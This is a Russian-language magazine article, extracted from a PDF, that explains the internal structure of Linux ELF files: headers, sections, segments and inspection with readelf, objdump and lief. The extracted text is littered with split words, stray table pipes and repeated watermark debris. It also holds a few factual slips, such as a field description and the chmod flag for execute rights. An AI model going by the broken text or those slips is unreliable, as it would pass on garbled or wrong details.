— почти всегда . Дело в том, что статичес |
кие биб |
||||||||||||||||||||||||||
лиотеки (те самые, с расширени |
ем *.a и префик сом |
lib в имени файла ) — |
||||||||||||||||||||||||||||
это не что иное, как архив, состоящий |
из несколь |
ких скомпилиро |
ван ных (без |
|||||||||||||||||||||||||||
линковки |
) ELF-файлов , а также информации |
об индексации |
этих файлов |
|||||||||||||||||||||||||||
для быстро го поиска нужных функций |
при общей линковке |
приложе |
ния . Кста |
|||||||||||||||||||||||||||
ти, проиндекси |
ровать |
нашу библиоте |
ку можно такой вот командой : |
|
|
|
|
ranlib libstatic_example.a0
Итак, с перемещаемым ELF разобрались , теперь сделаем разделя емый. Возьмем уже готовый скомпилиро ванный без линковки объектный файл example_lib.o и скормим его GCC с опцией -shared:
gcc -shared example_lib.o -o libdynamic_example.so0
Посколь ку Linux в случае необходимос ти ищет библиоте ки в специаль но отведен ных каталогах , то получивший ся в результате файл нужно сложить в какой либо из этих каталогов , к примеру /usr/lib или /lib:
sudo cp libdynamic_example.so /usr/lib0
Теперь нужно проверить работоспособ ность наших библиотек . Для этого напишем программу , которая будет вызывать функцию hello_world_function() из этих библиотек :
int hello_world_function();
int main(int argc, char* argv[]) {
int return_code = hello_world_function();
return return_code;
}
Скомпилиру ем ее со статичес кой библиоте кой :
gcc example_ext_func.c lib_static_example.a -o example_static0
И сделаем то же самое с динамичес кой библиоте кой :
gcc example_ext_func.c -ldynamic_example -o example_dynamic0
Обрати внимание , что при компиляции с разделя емой библиоте кой не ука зывается ее префикс lib, а также расширение и предваря ется все это опцией
-l.
Теперь у нас есть образцы практичес ки всех возможных вариантов ELFфайлов и мы можем приступить к исследова ниям устройства ELF-файлов раз личных типов.
Продолжение статьи0 →

|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
|
p |
|
|
|
g |
|
|
||
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ ELF-ФАЙЛОВ
ЗАГЛЯДЫВАЕМ ВНУТРЬ ELF-ФАЙЛА
ELF-файл состоит из заголовка и данных , которые включают в себя область так называемых заголовков программ , область заголовков секций и самих секций . В последних как раз и содержатся код, данные и все остальное , необходимое для использования этого ELF-файла по назначению . Струк тура 64-разрядно го ELF-файла схематич но показана на рисунке ниже.
|
|
|
|
|
Общая |
структура |
64-разрядно |
го ELF-файла |
|
|||||||||||||
Присутс |
твие |
заголовка и секций |
с кодом, данными |
и |
всем остальным |
|||||||||||||||||
для ELF-файлов обязатель |
но , тогда как одновремен ное |
наличие заголовков |
||||||||||||||||||||
программ |
и заголовков секций — нет. В файле могут одновремен но присутс |
|||||||||||||||||||||
твовать |
обе эти области с заголовками |
программ |
и секций |
либо одна из них. |
||||||||||||||||||
Чуть позже мы разберем |
ся , от чего это зависит. |
|
|
|
|
|
|
|||||||||||||||
Специфи |
кацию |
формата |
ELF-файлов |
можно взять здесь, а отличия |
64- |
|||||||||||||||||
|
|
|
|
|
|
|
||||||||||||||||
разрядных |
«эльфов » от 32-разрядных |
посмотреть |
вот здесь. |
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Заголовок ELF-файла
Как мы уже выяснили , любой ELF-файл начинается с заголовка , который представ ляет собой структуру , содержащую информацию о типе файла , его разряднос ти, типе архитек туры, версии ABI (Application Binary Interface), а так
же о том, где в файле искать все остальное . Формат структур заголовка как для 32-разрядных , так и для 64-разрядных ELF-файлов (как, впрочем , и форматы всех остальных структур ELF-файлов ) можно посмотреть в файле /
usr/include/elf.h.
Первые 16 байт заголовка (массив e_ident) служат для идентифика ции ELF-файла . Первые четыре байта — это магическая констан та , состоящая
из байта 0x7f, за которым идут ASCII-коды символов E, L и F. По наличию этих байтов загрузчик Linux (или, к примеру , утилита fle) определя ет, что перед ним именно ELF-файл (в PE-файлах Windows аналогич ную функцию выполняет комбинация из ASCII-кодов символов M и Z). Следующие в этом массиве байты в файле elf.h обознача ются такими констан тами:
•EI_CLASS — байт определя ет разрядность ELF-файла (значение 0x01 соответс твует 32 разрядам , значение 0x02 — 64);
•EI_DATA — значение этого байта определя ет порядок следова ния байтов данных при размещении их в памяти (Little Endian или Big Endian). Архитек тура x86 использует размещение байтов Little Endian, поэтому значение этого байта будет равно 0x01;
•EI_VERSION — версия специфи кации ELF-формата . Коррек тное значение в настоящее время — 0x01;
•EI_OSABI и EI_ABIVERSION определя ют версию двоично го интерфейса и операци онную систему , для которой откомпилиро ван файл. Для Linux первый из этих двух байтов обычно имеет значение 0x00 или 0x03, вто рой — 0x00. Общую специфи кацию ABI (так называемую ABI System V) можно взять отсюда , расширение этой специфи кации для архитек туры i386 (это все, что касается 32-разрядных ELF-файлов ) лежит здесь. Рас ширение для x86-64 (это для 64-разрядных программ ) — тут;
•EI_PAD в настоящее время не несет никакой нагрузки и заполнено нулевыми значени ями (в местах с индексами от 9 по 15).
Далее после массива e_ident расположе ны следующие поля:
•e_type — значение этого поля, как можно предположить , определя ет тип ELF-файла (имеются в виду те типы, о которых мы говорили перед соз данием примеров для нашего исследова ния). Некоторые интересу ющие нас в первую очередь значения этого поля:
•ET_EXEC — исполняемый файл (значение равно 0x02). Данное зна
чение использует ся только для позиционно зависимых исполняемых ELF-файлов (например , тех, которые были скомпилиро ваны GCC
с опцией -no-pie);
•ET_REL — перемещаемый файл (значение в этом случае — 0x01);
•ET_DYN — разделя емый объектный файл (значение равно 0x03). Дан ное значение характерно как для динамичес ки подклю чаемых биб лиотек (тех самых, которые обычно имеют расширение *.so), так и для позиционно независимых исполняемых файлов . Как они различа ются, мы обсудим чуть позже ;
• e_machine — |
значени |
ем |
|
этого поля определя |
ется |
архитек тура , |
|||||
для которой собствен но и создан ELF-файл. Посколь ку мы в первую оче |
|||||||||||
редь говорим об архитек туре |
x86 в 64-разрядном |
исполнении , то зна |
|||||||||
чение этого поля будет EM_X86_64 (равно 0x42). Понятно , что можно |
|||||||||||
встретить |
и другое значение |
, например |
EM_386 (для 32-разрядно |
го слу |
|||||||
чая архитек туры |
x86, равно 0x03) или, к примеру |
, EM_ARM (для процес |
|||||||||
соров ARM и равное 0x28); |
|
|
|
|
|
|
|
|
•e_version — дублиру ет значение байта EI_VERSION из массива e_dent;
•e_entry — точка входа в ELF-файл, с которой начинается выполнение программы . Для позиционно зависимых файлов здесь лежит абсолют ный виртуаль ный адрес начала выполнения программы , для позиционно независимо го кода сюда пишется смещение относитель но виртуаль ного адреса начала образа ELF-файла , загружен ного в память;
•e_phoff — смещение начала заголовков программ (обрати внимание : здесь, в отличие от точки входа , смещение относитель но начала файла , а не виртуаль ный адрес);
•e_shoff — смещение начала заголовков секций (также относитель но начала файла );
•e_flags — это поле содержит флаги , специфич ные для конкрет ной архи тектуры , для которой предназна чен файл. В нашем случае (имеется в виду архитек тура x86) поле имеет значение 0x00;
•e_ehsize — размер заголовка ELF-файла (для 32-разрядно го он равен 52 байтам , для 64-разрядно го — 64 байтам );
•e_phentsize — размер одной записи в разделе заголовков программ (размер одного заголовка );
•e_phnum — число записей в разделе заголовков программ (число заголовков программ );
•e_shentsize — размер одной записи в разделе заголовков секций (раз мер одного заголовка );
•e_shnum — число записей в разделе заголовков секций (число заголов ков программ );
•e_shstrndx — это поле содержит индекс (то есть порядковый номер в разделе заголовков секций ) заголовка одной из секций , которая называ ется .shstrtab. Эта секция содержит имена всех остальных секций ELFфайла в кодировке ASCII с завершающим нулем.
Чтобы посмотреть на заголовок ELF-файла воочию, восполь зуемся утилитой readelf (здесь опция -W указыва ет, что необходимо выводить полные строки , без ограниче ния в 80 символов в строке , а опция -h говорит, что вывести нужно именно заголовок ):
readelf -W -h example_asm0
На выходе получим следующую картину .
Вывод заголовка ELF-файла с помощью readelf
Также посмотреть на заголовок ELF-файла можно с помощью любого шес тнадцатерич ного редактора (к примеру , на рисунке с hex-редактором 010 Editor выделен заголовок ELF-файла с нашим хелловор лдом на ассембле ре) или привлечь к этому делу «Иду» (на рисунке выше видно заголовок этого же файла ).
На Python можно написать простой скрипт (с использовани ем lief), который может вывести как заголовок полностью , так и отдельные его эле менты :
import lief
elf_object = lief.parse('example_asm')
header = elf_object.header
print(header)
# Отдельно выведем точку входа
print('Entry point: %08x' % header.entrypoint)
Ну и наконец, можно написать в терминале (в данном случае информации будет несколь ко меньше по сравнению с readelf):
objdump -f example_asm0
Резуль тат работы objdump: вывод информации о заголовке ELF-файла
Продолжение статьи0 →

|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
o m |
ВЗЛОМ |
|||||||
to |
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
|
|
|
|
|
.c |
|
|||
|
|
. |
|
|
|
|
|
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ ELF-ФАЙЛОВ
СЕКЦИОННОЕ ПРЕДСТАВЛЕНИЕ ELF-ФАЙЛОВ
Код и данные в ELF-файле логически разделены на секции , которые пред ставляют собой непересека ющиеся смежные блоки , расположен ные в файле друг за другом без промежут ков . У секций нет определен ной общей струк туры: в каждой секции организа ция размещения данных или кода зависит от ее назначения . Более того, некоторые секции вообще могут не иметь какой либо структуры , а представ лять собой неструк туриро ван ный блок кода или данных . Каждая секция описыва ется своим заголовком , который хранит ся в таблице заголовков секций . В заголовке перечислены свойства секции , а также местонахож дение содержимого самой секции в файле .
Вообще , если вниматель но посмотреть специфи кацию ELF-файла , то можно увидеть , что деление на секции предназна чено для организа ции работы компонов щика, а с точки зрения исполнения файла секцион ная орга низация не несет никакой полезной информации . То есть не нуждающиеся
в компонов ке ELF-файлы (неперемеща емые исполняемые файлы ) могут не иметь таблицы заголовков секций (и во многих случаях ее не имеют ). Для загрузки в память процес са и выполнения ELF-файлов использует ся еще одна логическая организа ция — сегмен тная , о которой мы поговорим ниже. Если в ELF-файле нет таблицы заголовков секций , поле e_shoff
взаголовке будет равно нулю.
Кпримеру , если попробовать вывести информацию о секциях для нашего
неперемеща |
емо го исполняемо го файла , полученного |
в |
начале статьи |
|
из исходников примера |
Fasm (напомню , что файл мы назвали |
example_asm): |
readelf -S -W example_asm0
то мы увидим , что раздела с таблицей заголовков секций в этом файле нет.
Попыт ка вывести таблицу заголовков секций для исполняемо го непере мещаемо го ELF-файла
Если же мы произве дем аналогич ную операцию с любым другим файлом из числа наших подопытных экземпля ров (к примеру , файлом example_pie), то раздел с таблицей заголовков секций будет присутс тво вать .
Таблица заголовков секций в файле example_pie
Кстати , вывести информацию из раздела заголовков секций можно и с помощью Python (совмес тно с lief), написав пример но вот такой скрипт:
import lief
elf_object = lief.parse('example_pie')
for section in elf_object.sections:
print('Section {name} - size: {size} bytes'.format(name=section.
name, size=section.size))
Исходя из сказан ного выше, необходимо помнить , что о секцион ном пред ставлении и организа ции ELF-файла имеет смысл говорить на этапе ком поновки , а при загрузке файла в память процес са для его последу юще го выполнения использует ся сегмен тное представ ление и организа ция файла .
Заголовки секций |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Итак, как мы выяснили |
, в заголовках секций |
(если в ELF-файле есть раздел |
|||||||||||||||||||||||||||||
с таблицей |
заголовков секций ) содержится |
информация о свойствах |
и мес |
||||||||||||||||||||||||||||
тонахождении |
той или иной секции . Заголовки секций |
представ ляют |
собой |
||||||||||||||||||||||||||||
структуру , описание |
которой можно найти в файле /usr/include/elf.h (там |
||||||||||||||||||||||||||||||
эти структуры |
носят имена Elf64_Shdr и Elf32_Shdr для 64- и 32-разрядных |
||||||||||||||||||||||||||||||
файлов соответс |
твен |
но ). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
Разберем |
ся с назначени |
ем каждого |
из полей этой структуры |
: |
|
|
|
||||||||||||||||||||||||
• sh_name — содержит индекс имени |
секции |
(здесь имеется |
в виду номер |
||||||||||||||||||||||||||||
байта , с которого начинается |
|
имя |
секции |
) |
в таблице |
строк, которая, |
|||||||||||||||||||||||||
в свою очередь |
, содержится |
в секции |
.shstrtab. Другими |
словами |
, все |
||||||||||||||||||||||||||
имена секций |
хранят ся в специаль |
ной |
секции |
.shstrtab (о ней мы уже |
|||||||||||||||||||||||||||
говорили , когда рассмат |
ривали |
заголовок ELF-файла ), а в поле sh_name |
|||||||||||||||||||||||||||||
находится значение |
смещения |
начала строки с именем |
секции , к которой |
||||||||||||||||||||||||||||
относит ся данный заголовок , от начала секции sh_strtab; |
|
|
|
|
•sh_type — тип секции , который определя ет ее содержимое . Из всех воз можных типов (а они также определе ны в /usr/include/elf.h) наибольший интерес представ ляют следующие :
•SHT_NULL — неисполь зуемая (пустая ) секция . Согласно специфи кации, первая запись в таблице заголовков секций должна быть именно такой (значение , как нетрудно догадаться , равно 0x00);
•SHT_PROGBITS — секция содержит данные или код для выполнения (значение равно 0x01);
•SHT_SYMTAB — секция содержит так называемую таблицу статичес ких
символов |
(под символами |
в данном |
случае понимаются |
имена функций |
||||||||||||||||||||||
или переменных ). Каждая |
запись в этой секции |
представ ляет |
собой |
|||||||||||||||||||||||
структуру |
Elf64_Sym (или Elf32_Sym для 32-разрядных |
файлов ), |
||||||||||||||||||||||||
которая |
определе |
на в usr/include/elf.h. Как правило |
, |
секция |
||||||||||||||||||||||
с таблицей |
статичес |
ких символов |
носит имя .symtab, каждая |
запись |
||||||||||||||||||||||
в этой секции нужна для сопоставле |
ния того или иного символа |
с мес |
||||||||||||||||||||||||
тонахождени |
ем |
функции |
или переменной , имя которой и определе |
но |
||||||||||||||||||||||
данным |
символом |
. Все это в подавляющем |
большинс |
тве случаев |
нуж |
|||||||||||||||||||||
но, чтобы облегчить отладку программы |
, а непосредс |
твен |
но для выпол |
|||||||||||||||||||||||
нения ELF-файла эта секция не использует ся (и во многих случаях |
пос |
|||||||||||||||||||||||||
ле отладки программы |
ее из файла удаляют |
с помощью утилиты |
strip). |
|||||||||||||||||||||||
Значение |
равно |
0x02; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
•SHT_DYNSYM — таблица символов , используемая динамичес ким ком поновщиком при компонов ке программы (числовое значение равно 0x0b). Каждая запись этой секции также представ ляет собой структуру Elf64_Sym (или Elf32_Sym). Как правило , секция с таблицей динами ческих символов носит имя .dynsym. Более подробно о секциях . symtab и .dynsym поговорим чуть позже ;
•SHT_STRTAB — в секциях такого типа хранят ся строки в кодировке ASCII с завершающим нулем (в частнос ти, уже знакомая нам секция . shstrtab имеет именно такой тип). Значение равно 0x03;
•SHT_REL, SHT_RELA — секции этого типа содержат записи о переме щениях , причем формат каждой записи определен структурами
Elf64_Rel (Elf32_Rel) и Elf64_Rela (Elf32_Rela), опять же опи
санными в elf.h. Непосредс твенно с организа цией перемещений мы разберем ся чуть позже ;
•SHT_DYNAMIC — секция этого типа хранит информацию , необходимую
для динамичес кой компонов ки (числовое значение — 0x06). Формат одной записи в такой секции описыва ется структурой Elf64_Dyn
(Elf32_Dyn) в файле elf.h;
•SHT_NOBITS — секция такого типа не занимает места в файле . По сути, наличие такой секции является директивой о выделении необ ходимого количества памяти для неинициали зированных переменных
на этапе загрузки ELF-файла в память и подготов ки его к выполнению (обычно такая секция носит имя .bss). Числовое значение данной кон станты равно 0x08;
•sh_flags — содержит дополнитель ную информацию о секции . Из всего многооб разия значений в первую очередь интерес ны флаги :
•SHF_WRITE — флаг, имеющий значение 0x01 и говорящий о том, что в секцию возможна запись данных (здесь необходимо учитывать воз можность объеди нить несколь ко флагов посредс твом операции «или»);
•SHF_ALLOC — наличие этого флага говорит о том, что содержимое секции должно быть загружено в виртуаль ную память при подготов ке программы к выполнению (хотя нужно помнить , что ELF-файл загружа ется в память с примене нием сегмен тного представ ления файла , ну а сегмент есть не что иное, как объеди нение несколь ких секций ). Чис ловое значение равно 0x02;
•SHF_EXECINSTR — такой флаг показывает , что секция содержит исполняемый код (значение равно 0x04);
•SHF_STRINGS — элемен ты данных в секции с таким флагом состоят
из символь ных строк, завершающих ся нулевым символом (значение —
0x20);
•sh_addr — виртуаль ный адрес секции . Хоть мы и говорили , что секцион ное представ ление не использует ся при размещении файла в памяти,
внекоторых случаях компонов щику необходимо знать, по каким адресам будут размещены те или иные участки кода или данных на этапе выпол нения, чтобы обеспечивать перемещения . Для этого и предус мотрено
данное поле. Если секция не должна грузить ся в память при выполнении файла , то значение этого поля равно нулю;
•sh_offset — смещение секции в файле (относитель но его начала);
•sh_size — размер секции в байтах ;
• sh_linc — содержит индекс (в таблице заголовков секций ) секции ,
с которой связана данная секция ;
•sh_info — дополнитель ная информация о секции (значение зависит от типа секции );
•sh_addralign — здесь задаются требова ния к выравниванию секции в памяти (если содержит значения 0x00 или 0x01, то выравнивание
не требует ся);
•sh_entsize — в некоторых секциях , например таблице символов . symtab, лежат записи определен ных структур (к примеру , Elf64_Sym), и для таких секций поле содержит размер одной записи секции в байтах . Если секция не относит ся к такому виду, то поле содержит нулевое зна чение.
Назначение и содержимое основных секций
Сегод ня мы не будем подробно разбирать назначение и структуру всех воз можных секций в ELF-файле , их довольно много . На рисунке с общей струк турой ELF-файла перечислены стандар тные имена всех возможных секций , определен ных в специфи кациях, в том числе и примени тельно к ABI архитек туры x86-64. Рассмот рим наиболее значимые с точки зрения первоначаль ного анализа ELF-файлов секции .
Секция .interp
В этой секции лежит путь к динамичес кому компонов щику , который компону ет ELF-файл при загрузке его в память и подготав лива ет его к выполнению . Динамичес кий компонов щик содержит стартовый код, отобража ющий раз деляемые библиоте ки на адресное пространс тво загружен ного в память ELFфайла . Также он выполняет все подготови тель ные этапы , связан ные с раз решением ссылок на функции , определен ные во внешних библиоте ках . После всего этого динамичес кий компонов щик передает управление загружен ному приложе нию . Посмотреть содержимое секции .interp можно следующим образом (опция -p утилиты readelf выводит указан ную секцию в строковом представ лении ):
readelf -p .interp -W example_pie0
Путь к динамичес кому компонов щику в секции .interp файла example_pie
Если же мы попробу ем посмотреть содержимое этой секции не в исполня емом файле , а в разделя емой библиоте ке (один из наших подопытных фай лов libdynamic_example.so), то увидим следующую картину .
Попыт ка вывести секцию .interp файла с разделя емой библиоте кой
Наличие (или отсутствие ) секции .interp как раз и является одним из отли чий исполняемо го перемещаемо го файла от разделя емой библиоте ки (как мы отметили выше, оба этих типа ELF-файлов имеют значение ET_DYN в поле e_type заголовка ). Второе отличие — права на выполнение у файла (те самые, которые устанав лива ются командой chmod с параметром -x). В подавляющем большинс тве случаев в разделя емой библиоте ке нет ни сек ции .interp, ни прав на выполнение файла . Из этого правила могут быть исключения . Например , библиоте ка с основными функци ями С libc (на нынешних системах это файл libc.so.6) вполне запускает ся и выводит информацию о себе.
Запуск разделя емой библиоте ки libc
Секции .init и .fini
В секции .init находится код, выполняющий ся перед запуском кода, который начинается в точке входа (этот код расположен в секции .text, и об этой секции мы поговорим ниже). Если дизассем бли ровать какой нибудь ELF-файл (например , используя objdump) и посмотреть внутрь этой секции , то можно увидеть две функции : _init и __gmon_start__.
Дизас семблированная секция .init (видно , что внутри лежат функции _init
и __gmon_start__)
Задача этих функций — инициали зировать и попытаться запустить профили ровщик gprof. Чтобы эта попытка оказалась удачной и ELF-файл запустился
под профили ровщиком, этот файл должен быть скомпилиро ван с опцией -pg. В данном случае (если вниматель но посмотреть на дизассем блированный код функции ) в регистре rax будет находиться адрес функции __gmon_start__, которая и вызовет gprof перед выполнени ем основного кода программы . В против ном случае в rax будет 0, вызова __gmon_start__ и, соответс твенно, профили ровщика, не произой дет, а выполнение будет передано сразу на код в секции text.
Секция .fini содержит в себе функцию _fini, которая выполняет ся пос ле выполнения основного кода программы .
Дизас сем бли рован ная секция .fni
Секция .text
Здесь как раз и находится весь тот код, ради выполнения которого и была написана программа и на который указыва ет поле e_entry заголовка ELFфайла . Однако если посмотреть дизассем блированный листинг этой секции , то вопреки ожидани ям мы увидим , что по адресу , на который указыва ет точка входа , лежит не функция main(), а некая функция _start, после которой при сутству ет еще несколь ко функций , выполняющих подготов ку к запуску прог
раммы (например , deregister_tm_clones, register_tm_clones
и frame_dummy).
Функция _start считыва ет параметры командной строки (если они есть) и вызывает функцию __libc_start_main. И уже эта функция вызывает на выполнение функцию main(), где содержится основной код программы .
Дизас сем бли рован ная секция .text
Секция .data
Секция для хранения инициали зированных переменных , изменение которых возможно в ходе выполнения программы (соответс твенно, эта секция имеет флаг SHF_WRITE).
Секция .rodata
В этой секции хранят ся константные значения , то есть значения , которые не подлежат изменению в ходе выполнения программы .
Секция .bss
Секция .bss предназна чена для неинициали зированных переменных . Если секции .data и .rodata имеют тип SHT_PROGBITS, эта секция , как мы уже отмечали выше, имеет тип SHT_NOBITS. Данная секция не занимает место в ELF-файле , посколь ку и так понятно , что неинициали зированные перемен ные равны нулю, а хранить эти нули в ELF-файле нет никакого смысла .
СЕГМЕНТНОЕ ПРЕДСТАВЛЕНИЕ ELF-ФАЙЛОВ
Как мы уже говорили , сегмен тное представ ление использует ся компонов щиком при загрузке ELF-файла в процесс для выполнения . Этот тип пред ставления дает таблица заголовков программы (повторюсь , если иссле дуемый файл не предназна чен для выполнения , то эта таблица может отсутс твовать ). Таблица заголовков программы описыва ется структурой
Elf32_Phdr или Elf64_Phdr из уже знакомо го нам файла /usr/include/
elf.h.
В целом сегмент может включать в себя ноль и более секций , то есть объ единяет секции в один блок. Здесь может возникнуть справед ливый вопрос : почему же тогда в сегменте может быть ноль секций ? Дело в том, что некото рые типы сегментов при описании их в ELF-файле не имеют внутри себя никаких секций (то есть они пустые ). К примеру , пустые секции имеет заголо вок, с которого начинается таблица заголовков программы (он самый первый в таблице и как раз и сигнализи рует о том, что с этого места начинается таб
лица заголовков ), или сегмент , хранящий информацию о стеке (имеет тип заголовка PT_GNU_STACK).
Вывес ти информацию о сегментах можно следующим образом :
readelf -W --segments example_pie0
Вывод информации о сегментах с помощью readelf
Если посмотреть вниматель но на рисунок, то видно , что, помимо самих заголовков программы , выводится и информация о соответс твии тому или иному сегменту тех или иных секций (при этом также видно , что в сег ментах с номерами 00 и 07 секции отсутству ют).
Итак, основные поля заголовка программы таковы:
•p_type — это поле определя ет тип сегмента . Возможные значения также представ лены в файле /usr/include/elf.h. Наиболее важные зна чения:
•PT_HDR — с данного заголовка начинается таблица заголовков прог раммы (как мы уже говорили , описан ный этим заголовком сегмент пус той);
•PT_LOAD — сегмент этого типа предназна чен для загрузки в память на этапе подготов ки процес са к выполнению ;
•PT_INTERP — этот сегмент содержит секцию .interp, в которой
лежит имя интерпре тато ра , используемо го при загрузке ELF-файла ;
• PT_DYNAMIC — в этом сегменте содержится секция .dynamic с информацией о динамичес ких связях , которая говорит, как разбирать
и подготав ливать ELF-файл к выполнению (более подробно об этой секции поговорим в следующий раз);
•PT_GNU_STACK — здесь хранит ся информация о стеке , которая опре деляется значени ем флага pt_flags и показывает , что стек не должен исполняться (значение pt_flags равно PF_R и PF_W). Отсутствие дан ного сегмента говорит о том, что содержимое стека может быть исполнено (что, как ты наверняка знаешь , не есть хорошо);
•p_flags — определя ет права доступа к сегменту во время выполнения ELF-файла (самые главные значения этого поля: PF_R — чтение , PF_W — запись, PF_X — выполнение );
•p_offset, p_vaddr и p_filesz — значения этих полей аналогич ны зна чениям полей sh_offset, sh_addr и sh_size в заголовке секции ;
•p_addr — обычно значение этого поля для современ ных версий Linux равно нулю (хотя изначаль но здесь хранил ся адрес в физической памяти, по которому должен быть загружен сегмент );
•p_memsz — размер сегмента в памяти (если вспомнить о наличии секции
.bss, которая может входить в состав сегмента , то станет понятно , почему размер сегмента в файле может быть меньше , чем размер сегмента
впамяти);
•p_align — это поле аналогич но полю sh_addralign в заголовке сек ции.
Ну а скрипт на Python (с использовани ем модуля lief) для просмотра информации о сегментах ELF-файла может выглядеть пример но так:
import lief
from lief import ELF
elf_object = lief.parse('example_pie')
segments = elf_object.segments
for segment in segments:
sections = segment.sections
section_names = ", ".join([section.name for section in sections])
flags_str = ["-"] * 3
if ELF.SEGMENT_FLAGS.R in segment:
flags_str[0] = "R"
if ELF.SEGMENT_FLAGS.W in segment:
flags_str[1] = "W"
if ELF.SEGMENT_FLAGS.X in segment:
flags_str[2] = "X"
flags_str = "".join(flags_str)
print(str(segment.type).split(".")[-1], flags_str, section_names)
ЗАКЛЮЧЕНИЕ
Этой статьей мы начали погружение во все тонкости формата ELF-файлов . Мы разобрались с форматом заголовка , с таблицами заголовков секций и сегментов , а также заглянули внутрь некоторых из них. Как видишь, отличия
от PE-формата весьма существен ные, хотя некоторые аналогии все же прос леживаются . В следующий раз мы изучим более подробно содержание и наз начение других секций , а также разберем ся с компонов кой и связыва нием различных функций из библиотек с исполняемым файлом .
|
Помимо |
перечисленных |
в статье инстру мен тов , |
||||
|
можно |
попробовать |
восполь зовать |
ся набором |
|||
|
утилит elfutils (чтобы установить |
их, набери в кон |
|||||
|
соли sudo apt |
install |
elfutils). |
||||
|
Еще одна альтер натива |
— pax-utils (команда |
|||||
|
для установ ки — sudo |
|
apt |
install pax- |
|||
|
utils). |
|
|
|
|
|